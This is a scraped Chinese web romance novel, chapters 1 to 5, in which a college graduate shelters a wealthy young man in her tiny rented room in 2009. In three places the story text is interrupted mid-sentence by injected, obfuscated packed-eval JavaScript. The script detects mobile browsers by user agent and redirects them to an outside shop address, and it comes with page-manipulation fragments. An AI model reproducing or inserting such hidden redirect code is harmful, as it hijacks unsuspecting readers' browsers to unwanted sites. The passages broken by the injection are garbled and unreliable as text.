《她似晚风入梦》 1. 第 1 章 周衍东第一次遇到程溪,是在2009年8月3日。之所以记这么清楚,因为那天是他的生日。 他没有过生日的习惯,原本只当个普通日子过,但程溪把他带回了家,还给煮了一碗面。 很多年以后,周衍东依然怀念那个夜晚。 那个明月高悬的夜晚,湛蓝夜色如梦似幻。 雨水一场接一场冲刷着广城,雨后烈日暴晒,高温烘烤,水汽蒸腾,湿了干,干了湿,整个城市笼罩着似乎永远无法摆脱的潮润。 周衍东以为熬过那阵儿就好了,无论是天气,还是心情。 熬到八月份,极致潮湿后迎来极端高温,周衍东的心情如同长满绿藻的臭水池子,烂透了。 他游魂般漫无目的穿行在无边夜色中,对前途和未来感到一片茫然。 不知走了多久,周衍东停下脚步,盯着御马会所大门上的封条发起呆。 “失业了?” 身旁传来的声音让周衍东回过神,微微扭头,垂眸便看见一双清澈杏眼。 杏眼长在一张颇显幼态的圆脸上,皮肤被月亮和路灯照得煞白,可爱归可爱,就是白得叫人瘆得慌。 好奇和欣喜全从杏仁儿眼里跑出来,丝毫不遮掩——程溪就这么直勾勾盯了他半分钟。 周衍东没理会,转头目光落回封条上。 “你们这一行,风险是大。”程溪叹气感慨。 御马会所男模出了名的质量高,一朝被封,优质男模们要么被抓,要么失业,总之都没好下场。 周衍东愣了片刻反应过来这话什么意思,合着把他当鸭了。 他面无表情看着她。 被瞧得心慌,程溪脸上升温,小声说道:“赚钱法子多得是,以后别再干这行了。” 周衍东乐了,没解释,语气几分戏谑:“你这是在劝我从良?” 程溪噎得好一会儿讲不出话,仰头重新打量起他来,眼神生出怜悯:“回去吧,太晚了。” 周衍东双手揣兜,耸耸肩:“回哪去?没地方住。” 程溪不信:“你平时住会所?” 周衍东摇头,温润眉眼中透着那么点可怜劲儿:“失业了,没钱租房。” 虽然不是什么男模,这话却也不假,周衍东目光坦坦荡荡。 见他身旁立着个行李箱,程溪半信半疑:“先去便宜宾馆住,尽快找工作吧。” 周衍东嘴角一沉,越发可怜巴巴:“没钱住宾馆。” 程溪陷入沉默,不是不信,只是不知该如何回应。 犹豫好一阵儿,她红着脸看着他:“先上我那住一晚吧。” 等的就是这句话。周衍东笑了,嗓音沙哑却温柔:“谢谢。” 程溪租的房子在城中村。两人赶上末班地铁,从地铁站走了两公里,终于来到那个七平米小单间。 屋里灯打不开,程溪退出来在走廊上看一圈,周围门缝里都没光。 小单间里开着窗,照进淡淡月光,周衍东站在门口,一眼望尽屋内格局。 父亲靠倒腾地皮盖房子赚了几辈子都挥霍不完的钱,打小他就见识过各式各样房型。很早以前,父亲带他看过这种狭窄逼仄的小单间,并告诉他,“老子拼命赚钱,就是为了儿子不用住这种房子。” 老头子要是知道他儿子住进了这种房子,指定得骂一声“完蛋玩意儿”。想到这,周衍东内心那股叛逆竟滋生出几分快乐。 破罐破摔,但无所吊谓。 他环视一圈,这间屋跟程溪这张脸似的,简单,素净,一眼就能看透。 程溪回到屋里,看着半开的门,犹豫要不要关上。 不关,黑灯瞎火的,她实在没有安全感;关了,孤男寡女的,不发生点儿什么好像都对不住这拉满的暧昧氛围。 程溪愣着不动时,周衍东把门关上了。 他力道轻,关门声音小,程溪却受大惊似的猛然往后退。 周衍东知道这姑娘怕了,黑暗中带着轻笑问:“那我走?” 程溪不作声,半晌才怯怯开口:“算了吧,你也没别的地方去……” 周衍东没拒绝,也没道谢,下巴冲旁边那扇小门一扬:“洗洗睡吧。” 程溪心都快蹦出嗓子眼,怕得直想跑,又听他柔声笑道:“想什么呢?你洗你的,我洗我的。洗完你睡床,我睡地上。” 周衍东又补一句:“碰你我天打雷劈。” 他从不相信任何赌咒发誓和承诺,尽管自己的确不会侵犯程溪。 之所以这么说,是为了消除程溪的疑虑恐惧。 他觉得程溪会信。 程溪确实信了。沉默一小会儿,她走到床边的简易拼搭衣柜前,摸黑拉开防尘布上的拉链,找出一套干净内衣裤和短款睡衣。 平时程溪更喜欢穿睡裙,家里多了个男人,穿裙子睡不方便,她庆幸昨天大扫除时没将这套使用率极低的廉价居家服扔掉。 卫生间在进门处左手边,1.5平米的地儿,一个洗脸池,墙上一个柜门是镜子的小挂柜,一个蹲坑,一个淋浴。这房子程溪租了二十多天,巴掌大地方,每处早已了如指掌,在乌漆嘛黑的卫生间里洗澡完全没影响。 周衍东就不同了。推开门,潮湿热气扑面而来,闷得他发晕。他掏出手机点开电筒,借着光四处看。 洗护用品全是女士的,周衍东不想用,决定拿洗脸池上那块肥皂凑合洗洗。 “淋浴水龙头往左出热水。”程溪隔着门知会。 周衍东“嗯”一声,往右打开水龙头。 这么热的天,这么小的地儿,再来个热水澡,他怕自己中暑昏死过去。 高温天气使冷水都变温热,周衍东冲凉冲得不尽兴,烦躁地用毛巾随意擦擦脑袋,顶着湿发拉着脸出来,卫生间门一开,灯光瞬间亮起。 “来电啦!”程溪大叫。 周衍东还是“嗯”一声。 他淡定得让程溪不好意思。 “我这人就这样,一惊一乍的。”程溪摸摸头,脸色微红。 周衍东:“嗯。” 程溪:“你讨厌这样吗?” 周衍东摇头。 其实是讨厌的。只不过当下自己身处困境,吃住都成问题,要没这姑娘雪中送炭,今晚真得露宿街头。他就是再铁石心肠,也不能端起碗吃饭,放下碗骂娘。 周衍东说什么程溪都信,她眼睛笑成月牙:“那就好,我不光一惊一乍,还话多,怕你嫌烦呢。” “是么?没觉着你话多,性子挺安静的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042411|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “真的吗?你还是头一个说我性子安静的人!” 程溪又信了,脸上乐开花。 周衍东点点头,心想她喜欢听什么自己就说什么,善意的谎言能让这个愚蠢却善良的姑娘高兴,何乐而不为? 程溪盯着他看了会儿:“其实你性子才安静。” 周衍东不作声,轻轻点头表示赞同。 程溪:“还没问你名字呢!你叫什么?” 周衍东笑了:“现在才想起来问?” 俩人回来途中几乎没怎么说话,那时他想,这姑娘胆子真大,敢独自带名儿都不知道的陌生男人回家。 程溪往后拢了拢头发掩饰尴尬:“路上怕别人听到,以为咱俩是第一次见面的网友,没好意思开口。” 周衍东看着这双清澈杏眼,发自内心感到好奇:“你就不怕我害你?” 劫财劫色,先奸后杀——这种案子可不在少数。 程溪想都没想便摇头:“你不会。” 周衍东眉心微拧:“这么肯定?” 程溪:“嗯,你肯定不会。” 周衍东自嘲:“我可是男模,都下海了,还有什么不敢做的?” 他不打算解开误会,索性将错就错,认下这个莫须有的“男模”身份。 程溪反复摇头,目光笃定且真诚:“别的男模可能会,但你不会。你一看就纯良。” 周衍东挑了挑眉:“还有呢?” 程溪:“而且你无论长相还是气质都根正苗红,不可能做坏事的。” 周衍东:“可我是男模啊,你就不怕——” 他顿了顿,微微侧头,眯着眼瞧她:“不怕染病?” 好几秒后程溪才反应过来这话什么意思,连忙摆手,手掌晃出残影:“瞎想什么呢!我可没想跟你怎么着!带你回来纯粹是看你可怜!” 周衍东正经了二十多年,平日里面对女人跟块儿木头似的,头一次不正经起来,薄唇微挑,笑腔里含着几分浮浪:“万一我想呢?” 程溪愣住,眼睛眨得飞快,双手交叉捂在胸前,头摇成拨浪鼓。 “你想得美!” 周衍东噗嗤笑出声:“逗你呢。” 程溪脸红透了,脖子根都染了绯色,明明吓得不轻,偏要嘴硬:“知道!我也是装的!”说完忽然想起什么,叹一口气,歪起脑袋皱眉:“绕来绕去还是没说你名字。我叫程溪,你呢?” “周衍东。” “我快二十二了,你呢?” “二十——”周衍东掏出手机看了眼日子,“我二十二。” 程溪惊讶:“哇,看着可不像,我以为都二十五六了!你几月的啊?” 周衍东:“今天。” 程溪没懂。 周衍东:“今天刚满二十二。” 他从裤兜里掏出钱夹,取出身份证举到程溪眼前。 程溪将他生日一个字一个字念出来,然后扫了眼下面的三行住址,没多想,抬头目不转睛盯着他。 “周衍东,你长得可真漂亮。”程溪盯得极认真,说得也极认真。 后来很多年,发生很多事,流逝的时光将记忆反复冲刷,她永远记得,2009年8月3日这天,她把一个漂亮的男孩儿带回了家。 2. 第 2 章 但凡程溪见识广一点,就不会只注意到周衍东这张漂亮脸蛋了。 事实上,比周衍东这张脸蛋更有分量的,是他身份证上的三行住址。 京州绝大多数权贵都居住在那个住址所在的小区,程溪这辈子去过的最远最大的地方就是广城,首都什么情况,自然是不懂的。 她眼里只有周衍东,只有他这个人。 周衍东儿时常被误认为是小姑娘,就因为脸蛋长得太漂亮。 “能换个说法么?”他皱起眉头。 程溪懵懵地看着他。 周衍东:“大老爷们儿有什么漂亮不漂亮的。” 他不反感“漂亮”这个词儿,只是反感别人用这个词儿来形容他。 程溪明白了,笑出声:“我说你怎么脸长得这么年轻好看,看着又比实际年龄大几岁,总算找到原因了!” 周衍东:“嗯?” 程溪:“因为你老气横秋!” 一想到他刚才那话,程溪又忍不住笑起来。 周衍东不以为然:“可能要让你失望了,我不是什么精致小鲜肉,不仅是大老爷们儿,还特糙,糙老爷们儿。” 程溪捂着肚子笑得停不下来。 “哎,不是,您笑点也太低了吧?”周衍东歪起脑袋瞧她。 程溪好不容易止住笑,深吸一口气:“我笑点确实很低,但你说自己是糙老爷们儿时也确实很搞笑,不对,应该是——很!可!爱!” 周衍东颤了颤,鸡皮疙瘩都起来了,比出个“停”的手势,板着脸拒绝:“打住。” 程溪不理解:“为什么呀?你本来就——” 周衍东摇着头打断:“你好心好意收留我,我也掏心窝子跟你说一句:其实我就一再普通不过的直男,纯直男,不爱听别人用这些词儿形容自己。” 程溪察觉到他细微的不悦,把这话听进去了,点头应下来:“好,以后不这么说你啦,那可以说……” 她欲言又止。 周衍东:“嗯?” 程溪:“可以说你温柔吗?” 周衍东微微扬眉,笑了:“你觉着我温柔?” 他一笑,程溪也跟着笑:“温柔!好温柔的。” 这辈子还是头一次被人夸温柔,周衍东难以置信,满脸疑惑盯了她半晌,认真而严肃地问:“程溪,你是不是三观跟着五官走啊?” 本以为她会假模假式否认,谁知这姑娘立马狠狠点头。 “是啊!你怎么知道?” 周衍东被这番坦诚惊得愣住,目不转睛瞧着她,像瞧个稀有物种。 “没见过帅哥啊?” “没有,额,不对——”程溪摇头,“确切来说,是没见过像你这么帅的男人。普通帅哥还是见到过一些的,现在想起来,他们跟你没法比。” 沉默一小会儿,周衍东给出了自己当下对她最诚恳的评价:“缺心眼儿啊。” 程溪不服气,扬起下巴:“其实我挺聪明的!” 周衍东点头,笑里带着嘲讽:“嗯。” 见他摆明了不信,程溪掰起手指数:“第一,我老家特别穷特别落后,就这样我还从县里考到市一中,我们省最好的中学!第二,高考我超常发挥,考到广城读大学,大学四年拿了不少奖学金!第三,学习之余,我还干过很多兼职,赚了不少钱!第四——” 听到这,周衍东打断:“等会儿,‘赚了不少钱’,‘不少’是多少?” 程溪一脸自豪:“反正大学四年我攒了五万块。” 周衍东养尊处优惯了,打小吃穿用度都是最好,十八岁起,每月零花钱七位数打底——这种好日子,在他跟家里闹掰之后,已经彻底结束。 起先他觉得程溪四年攒五万没什么好吹的,转念想想,人家那家庭背景,那经济条件,十几二十岁的小姑娘,勤工俭学,不偷不抢,四年能攒出五万,算是很不容易了。 “牛。”周衍东竖起大拇指。 被他夸了,程溪打心底里高兴,笑意止不住。 “有五万积蓄,干嘛租这破地儿啊?脚都迈不开。” 这话让程溪脸上的笑容戛然而止,眼里流露出悲伤,陷入沉默,一动不动坐在床沿。 周衍东识趣地闭嘴,等了好一会儿,总也不见她开口,主动转移话题:“你今晚怎么会去御马?该不会打算去那消费找男模吧?” 程溪扯了扯嘴角,苦笑:“我哪有钱找男模呀?再说了,就算有钱,也不会去找。那附近不是有个商城么,今天跟朋友在商城吃晚饭,吃撑了在附近逛逛,然后就遇到你了。” 她扭头左右看看,目光落回周衍东脸上。 “这里可不是什么破地儿,这里是我的乌托邦,不许说它不好。” “很喜欢这里?”周衍东不理解,但尊重。 程溪:“非常喜欢。” 周衍东不知道这又小又破的房子还有人会喜欢,目光好奇:“为什么?” 程溪抓起床上的枕头抱在怀里:“长这么大,我第一次拥有属于自己的一间屋子。虽然它是租的,只是暂时属于我,可我能安心住在这儿,自由自在,无拘无束——不过今晚不可以。” 周衍东当然知道为什么不可以。 他往床和有窗的那面墙中间的窄小过道上一躺,双手交叠枕在脑后。 “赶紧睡吧,明早我一走,你就能重回自由自在无拘无束的生活了。” 程溪关上卧室灯,起身走向卫生间:“你先睡,我还得洗衣服呢。” 周衍东两眼一闭,忽然想起什么,噌地坐起来,冲卫生间那边喊:“洗你自己的就成,别洗我的!” 卫生间门开了,门口透出一片昏黄灯光,程溪探着脑袋笑道:“怕我洗你内裤吧?” 周衍东:“确实有这个原因,不过更主要是,咱俩萍水相逢,你能收留我一晚已经够意思了,还要给我手洗衣服,我脸皮再厚也消受不了这份好意。” 程溪:“噗——给你手洗衣服?想得真美!” 周衍东松了口气。 卫生间门又关上,哗啦啦流水声从里面传来,紧接着,是程溪一声惊呼。 “周衍东!周衍东!”她大叫着。 刚躺回地上的男人再次迅速起身,快步走进卫生间,推门一看,程溪捂着手眉头紧皱。 “怎么了?”周衍东也不自觉皱眉。 程溪左手伸过来,声音带着哭腔:“这里不知道怎么回事,破了道口子……” 灯光昏黄,周衍东看不清,凑近仔细瞧了瞧。 “还真是。赶紧去医院吧!”他摇着头啧啧两声。 程溪有些懵:“啊?去医院干嘛?” 周衍东抬头,面无表情:“再晚点儿,伤口都要愈合了。” 程溪才明白自己被奚落,伸过去的手攥起拳头往他胸膛轻捶一下,气得直瞪眼。 周衍东瞧她这副模样好笑,乐呵呵的:“不就划一小口子么,多大点事儿,一惊一乍的,还以为天塌了。” 程溪眉毛挑老高: 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拢共四样衣物,程溪的连衣裙,自己的灰色T恤,黑休闲裤,还有一条内裤,全晾完了,周衍东才发现不对劲。 晾衣杆正对着自己今晚要睡的那一小块地儿。 “这杆儿能不能换个方向撑?”他皱眉问道。 程溪摇头:“不行的,晾衣杆不够长,其他方向没法撑。” 她叹了口气,拍拍他肩膀:“算啦,凑合一晚上吧。” 不凑合也没招,周衍东想了想,睡这儿总比睡大街强。 “行,睡吧。” 正准备躺下,程溪叫住他。 “别急着睡,”她从袋子里拿出一碗泡面,在空中晃了晃,“过生日当然要吃面!” “不用,我从来不吃这玩意儿。”话音刚落,周衍东肚子咕咕叫起来。 他低头看着自己这不争气的肚子,还想说什么,又觉得说什么都很苍白。 程溪哈哈大笑,撕开泡面包装给他做起简易版长寿面。 就这样,周衍东吃上了人生中第一碗泡面。 “好吃吗?”程溪眨着眼问。 这东西味精味儿重,还齁咸,周衍东压根吃不惯。要不是怕程溪伤心,他宁愿饿着也不想吃一口。 可他还是点了点头。 不仅点头,还冲程溪笑了笑:“好吃,特香。” 程溪盯着他看半晌,盯得他发慌,摸摸自己的脸:“怎么了,老看我干嘛?” “你笑起来好好看啊,周衍东。” 周衍东又笑起来,几分无奈摇摇头:“哎,哎,打住,我谢谢您。” “周衍东。” “嗯?” “今晚睡床上吧。” “啊?” 他其实听清了,揣着明白装糊涂。 程溪望一眼晾衣杆那边:“你的裤子滴水呢。” 周衍东:“等会儿再拧拧。” 程溪:“地板太硬,睡着硌得慌。” 周衍东:“没事儿,糙老爷们儿硌一硌死不了。” 程溪:“睡床上吧。” 周衍东:“别介,男人睡床,让女人睡地上,那哪儿成?没有这道理。” 程溪:“我是说,咱俩一块儿睡床。” 周衍东一口面差点喷出来,好不容易强咽下去,捶着胸脯顺了顺气,愣愣看着她:“不是,玩儿这么野吗?” 3. 第 3 章 程溪靠在床头坐着,捞起被子捂住自己,大半张脸都遮得严严实实,只露出眼睛和额头,目光慌张而局促。 “我好心好意对你,你怎么老是想入非非!” 周衍东默不作声笑了,将泡面碗扔进卫生间垃圾桶,回来时脚步停在床头边,垂眸看着缩成一团的姑娘,嘴咧得更开。 “妹妹,你的所作所为,很难不让人想歪。得亏遇上我,要是遇上别人,指不定发生什么悲惨事件。”周衍东收起笑容,正儿八经说道。 程溪放下被子,整张脸露出来,双颊红扑扑的,脖子上渗出莹莹细汗。 仰头望着周衍东,她咬了咬唇,犹豫片刻,说出心里话:“我从来不带陌生男人回家,你是第一个。就因为遇上的是你,我才选择带回来,要遇上别人,我都不可能主动搭话。” 她对周衍东,有种莫名其妙近乎于本能的信任。 信任他,就跟呼吸一样理所当然。 程溪细究不出其中道理,她只是遵循本能,做了件自己无法抗拒的事。 先前的紧张害怕,更大成分是装样子。她想她应该表现得羞怯,这样才正常,这样才不至于显得自己像那种对待关系随随便便的女生。 周衍东站在床前,面无表情沉默了一会儿,轻笑着开口:“哟,您这是——” 他蓦地停下,收住原本要说的话。您这是爱上我了。 毫无疑问,今晚只要他乐意,这姑娘就会是他的。 周衍东很清醒。 这块自动送到嘴边的肉,这段可以不负责任的露水情缘,往后都能成为他人生情史上镜花水月的一段回忆,甚至谈资。 他做不到这样。他比谁都清楚,自己和程溪不可能有未来。 他可以轻轻松松让程溪爱他爱得要死,然而越是这样,越下不去手。 何必呢?他想,自己虽非良善之辈,却也还未烂透。 周衍东回卫生间又刷了次牙,出来发现程溪已经自觉靠墙而睡,在床上给他留了外面的位置。 他没再说什么,安静侧身躺下,紧贴床沿。 程溪也侧着身,紧贴墙壁,不大不小一米五宽的床,两个成年人之间,空出挺长一段距离。 困意被尴尬和杂乱的心事赶跑,周衍东睁着眼躺在床上,心里像是架了一把火,火不算旺,却总也不灭,就这么在心底烧着,烘出源源不断的躁意,躁得没法睡。 他频繁看手机,时间丝毫没因为内心的烦躁而跑得快些,反倒故意作对似的,比平常慢了许多。 上回看是十一点四十,原本以为这会儿怎么都十二点了,屏幕一亮,才过了五分钟,周衍东气得索性关机。 身旁的姑娘呼吸匀净,周衍东以为她已经睡着,叹着气躺平身子,耳边忽然传来轻声细语。 “周衍东,你怎么会来广城?” 他身子一僵,又背对着她恢复侧躺,沉默片刻漫不经心回应:“来找工作呗。” 程溪长长叹了口气:“现在广城已经不像八九十年代那么好赚钱了,据说那时候的广城,遍地是黄金。” 周衍东嗤之以鼻:“拉倒吧。” 九十年代他随父母南下旅游,见识过飞速发展的广城,也领教过这里的脏乱差。 程溪猛地翻身,转了个方向,面对着他:“本来就是嘛!我们老家那些九十年代来广城打工的邻居,基本上都发达了。” 周衍东:“有多发达?” 程溪:“有两个做生意赚了好多钱,还有几个虽然没赚大钱,也早就衣食无忧了。” 周衍东转过身平躺,双手叠在脑后,盯着漆黑的天花板,想了想,客观评价道:“以前这边买卖确实好做,不过机遇与危险并存,那年代广城地头蛇猖狂,飞车党、黄赌毒泛滥,没点胆识和运气,外地人很难出头。现在阶级固化严重,别说普通外地人了,就是本地土著,想在这儿完成阶级飞跃都难上加难。” 程溪趴下来,胳膊肘抵着床,双手托着下巴,好奇问道:“你肯定也有个发财梦,所以才去御马当男模,对不对?” 直到现在她都没怀疑过他的男模身份。 周衍东憋着笑胡说八道:“嗯,想搭上富婆来着,奈何天公不作美,饭碗都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042413|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我砸了。” 程溪给他打气:“没关系,御马被封,说明老天爷不想让你干这行,他一定会给你更好的出路,你可千万别灰心!” 周衍东无声笑了,将话题引到她身上:“你呢?今年毕业了吧,以后打算留在广城?” 程溪点点头:“我挺喜欢这儿的。” 周衍东不理解:“这儿太热了,还很潮湿,待着不舒服。” “你是北方人,不习惯这里很正常,待久了就习惯了。”程溪顿了顿,声音小了几分,“你会在这儿长住的吧?” 周衍东沉思片刻,摇头:“不一定,这边要是找不着满意的工作,过阵子去深城看看。” 他对深城其实没报什么期望,父母凭借人脉跟势力,给全国商界各大圈子都打过招呼,排得上名头的公司,哪家也不敢录用他。 好工作找不着,差工作看不上,一天天这么蹉跎下去也不是办法,愁绪在心头翻涌,周衍东淡淡叹了口气。 程溪困惑:“你什么学历呀,怎么感觉找工作这么难?” “普——”周衍东脱口而出,立马止住,咽回原本要蹦出的话,胡诌道,“普普通通的大专生。” 程溪压根没起疑,睁大眼睛,黑暗中盯着他认真开口:“那你可以进厂啊!” 周衍东语气丧了吧唧:“进不去。” 程溪:“怎么可能!我有个老乡,只是中专生都能进厂拧螺丝,还有个表妹,高中辍学,也进了富士康,你都大专了还进不了厂,这不科学呀!” 周衍东哑然,好气又好笑。 程溪压根没明白此“厂”非彼“厂”。 她不知道,毕业于普林斯顿计算机科学专业的硕士生周衍东,想进的是互联网大厂,更不知道,他人生的终极目标,是拥有一家属于自己的互联网大厂。 很多年以后,那个月圆如盘的夜晚,周衍东站在自己亲手创建的东信大厦前,沉默了许久许久。 皎皎月光照亮大地,却照不亮他心底最柔软也最痛的地方。 照不亮他曾与一个叫程溪的姑娘并肩而行的来时路。 4. 第 4 章 关于周衍东作为一个大专生却进不了厂子拧螺丝这件事,程溪百思不得其解。 想了好一会儿,没想明白,她一骨碌爬起来,低头看着身旁的男人,善心泛滥:“明天我联系一下在富士康上班的表妹,问问他们那边还招人不。” 周衍东立马拒绝:“别。” 程溪更想不通了:“找工作这种事,有熟人就最好了,能去干嘛不去?那儿还包吃包住呢!” 周衍东:“不想去。” 程溪:“为什么?” 周衍东:“不喜欢富士康。” 程溪挺直的腰板儿弯下来,肩膀一沉,垮着脸教育起他来。 “你一个大专生,能进富士康也算是不错了,现在这种情况,有活儿干比什么都强,怎么还挑三拣四的?富士康怎么啦,我就觉得富士康不错!” 周衍东冷冷开口:“你觉着不错你就去,你怎么不去?” 程溪拍腿:“我又不是找不着工作,现在到处面试呢,想挑一家各方面都不错的公司入职。” 周衍东没接话,默默想着心事。 他不作声,程溪也闭嘴了,安静待在旁边,几分钟后脑子里忽然闪过一个想法,气呼呼打破沉默。 “周衍东。” 男人没理会。 程溪不管他睡没睡着,伸手推他胳膊:“周衍东!” “还让不让人睡了?你有病啊!”困劲儿已经过去,他只是心事重重,嫌她烦。 “你别是还没死心,又盘算着去会所当男模吧?”程溪声音冷下来,有些颤,担忧和不甘明明白白呈给他看。 周衍东翻身背对着她,信口胡诌:“嗯,对,明儿一早就上别家会所面试去。” 程溪急得低声喊:“你敢!不许去!” 周衍东这回真恼了。 虽然父母对他管教严格,可毕竟是京州权贵周家后代,到他这一辈,父亲掌握家族大权,他又是家里独苗,就算父母不惯着,其他人哪个不是哄着宠着这人中龙凤天之骄子? 那些拒绝聘用他的百强公司老板,碍着家里势力,跟他说话都谦卑几分。 当了二十多年大少爷,周衍东头一回被个丫头片子管教威胁,气不打一处来。 “怎么着,还想绑我不成?我乐意干嘛就干嘛,管得着么你?”他坐起来,黑暗中冷眼看着程溪,语气冰冷而凶狠。 “我才不管那么多呢,就不让你去!你干什么都行,就是不许当男模!”程溪禁不住凶,哭出声来,泪珠一串串滚出眼眶,心里说不尽的委屈。 周衍东气得发笑:“你谁啊,我爹还是我妈?程溪我告诉你,我爹妈都管不住我,你也趁早死了这条心。” 程溪抬起胳膊,拿手背抹泪,抽抽噎噎开口:“你这人没良心,人家好心好意——” 话还没说完便被他不耐烦打断。 “我求你好心好意了?再说你那是好心么?起了色心就直说,搁这儿装什么纯情小姑娘?” 周衍东要么不骂人,要么骂得狠,字字句句往心窝子里捅。 程溪从小被父母打骂,以为早已经习惯,练出了一颗强心脏,没成想还是被他这话刺得疼痛难忍,眼泪止不住往下掉,抱着膝盖越哭越大声。 哭声吵得周衍东心如乱麻,烦透顶,他起身走到门口,正要摔门走人,最终还是被理智拉了回来。 周衍东站在床前,打开灯,一眼望见床上泪流满面的姑娘。 “程溪,”他冷静了许多,摸了摸鼻子,垂眸片刻,微微侧头瞧着她,“你是不是喜欢我?” 他明知故问,程溪也不装了,哑着嗓子反问:“我喜不喜欢你,自己看不出来么?” 周衍东在床边坐下,背影冲着她,好言相劝:“别喜欢我,咱俩不会有结果的。” 程溪下巴抵着膝盖,嘟囔:“有没有结果都无所谓,可你就是不能再去当男模,当男模没前途,还很危险!” 周衍东没心思继续瞒了,扭头对她实话实说:“没当过男模,也永远不会去当男模。” 程溪一愣,猛地抬头看他,吸吸鼻子:“你说什么?” 周衍东笑了笑,转过头盯着面前这堵白墙。 墙上坑坑洼洼的,好多地方掉了漆,他忽然生出几分苍凉感。 “我不会一辈子居无定所,更不会一辈子住这种地方。” “怎么说起这个?”程溪爬过来,在他身边坐下,扭头望着他。 周衍东也转脸看向她。 “程溪,我们不是一个世界的人。”他说得认真。 程溪凝眉,摇着头直叹气。 “周衍东,别太自卑,虽然我学习还不错,可也只是个本科生,没比大专生强多少,我不嫌弃你。” 男人千算万算,没料到她会给出这么个回应,愣了好一会儿,最后一声长叹,倒头躺下。 程溪也躺下来,挨他近了些。 “周衍东,你想跟我谈恋爱吗?”什么脸面不脸面的,程溪彻底顾不上了。 男人毫不犹豫:“不想。” 程溪:“为什么呀?我长得还可以,能力也不错,性格很随和,而且——” 周衍东:“咱俩刚认识几个小时就扯这些?” 程溪:“可我从见你的第一眼起,就感觉好像跟你认识了很久很久。咱俩上辈子肯定是夫妻。” 周衍东脑仁儿疼:“还大学生呢,信这些?” 程溪一激动,又猛地坐起来。 “信!很信!算命先生都说,我这辈子会找贵夫,超级帅超级有钱!” “那祝你好运吧。”虽然家里项目动工,公司开业等大小事务都会请师傅算良辰吉日,不过周衍东对玄学这种事,并不怎么相信。 程溪推推他胳膊:“有没有一种可能,这个贵夫是你?” 周衍东:“这种可能性为零,我只是个没本事的大专生而已。” 程溪:“大专生怎么啦,不许这么贬低自己!现在没本事不代表将来没本事,找个工作好好干,你肯定是个潜力股,信我的准没错!” 她双手攥拳,在空中挥舞着给他打气。 周衍东坐起来,靠着床头严肃问道:“你知道我家几口人吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042414|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?知道他们都是干什么的吗?知道我有什么癖好甚至恶习吗?有没有想过,万一我有遗传性传染病?万一我蹲过监狱?万一我是扶不起的烂泥?万一我已经结婚了?万一我都有二胎了?什么都不知道,什么都没想过,就要跟我谈恋爱?” 他深吸一口气,摇头轻笑。 “程溪,你太单纯,太幼稚了。” 说完,他不再言语。 程溪好半天没吱声,再开口时,声音带着轻颤。 “知道了,我也就随便问问,你别太当真……” 周衍东有些生气:“‘随便问问’,你能不能别总这么随便?随便带陌生男人回家,随便问人家要不要跟你恋爱,随便——” 程溪哭着打断:“好啦!谈就谈,不谈就不谈,干嘛揪着我不放?都说了我也不是随便什么男人都带回家的!” 她一哭,周衍东就烦得要命,又忍不住心软,更狠更难听的话咽了回去,默默望着她,递过去一张纸巾。 “我也不是非要骂你。甭管你是出于好心还是色心,能收留我一晚,我感恩戴德。程溪,你记着,这种事儿只能干一次。你好人有好报,遇上我,不会把你怎么着,但凡遇上个坏心眼儿的,这辈子你算是完了。” 人生中头一次这么苦口婆心,周衍东觉得自己也算是对得起她这份好意了。 程溪安静听他说完,点头接过纸巾,狠狠擤一下鼻涕,动静老大,逗得周衍东发笑。 “你就跟个小孩儿似的。” “其实我内心很强大,很成熟的,只是再强大再成熟的人,也有脆弱和不理智的时候。”程溪起身又拿了一张纸,接着擤鼻涕。 周衍东压根不信,敷衍地点点头,将一包纸巾放到她边,关灯躺下。 程溪冲着墙那面侧身,背对着他,许久都不说话。 她这么安静,周衍东倒有些不习惯。 “手机给我。”良久,他忽然开口。 程溪一动不动。 他转过身,轻轻推了推她:“手机。” 程溪仍是不动,没好气地问:“干嘛?” 周衍东还是那句话:“手机给我。” 这回换程溪嫌他烦了,枕头底下摸出手机递过去。 周衍东:“解锁。” 程溪生气,挂着泪的脸表情凶巴巴:“你到底要干嘛?” 周衍东:“给你留个号码,以后有什么事儿可以找我,反正我欠你人情。” 程溪将手机塞回枕头底下:“不需要,今晚过后,咱俩桥归桥路归路,从此两不相欠。” 周衍东乐了:“要不说你幼稚呢,整得跟两口子闹掰了离婚似的。再给你一次机会,要不要我手机号?过了这个村可就没这个店了。” 程溪没说话,也没动弹。 不知过了多久,周衍东当她是真不想再跟自己有什么交集,打着哈欠准备睡觉。 程溪的手伸了过来,递给他一个亮起屏幕的手机。 他笑了笑,在通讯录里留下号码。 “记住啊,任何时候都别删,哥哥保你这辈子平安。” 5. 第 5 章 这话让程溪不禁发笑:“你还是想想怎么保自己明晚有地方住吧。” 周衍东不作声。 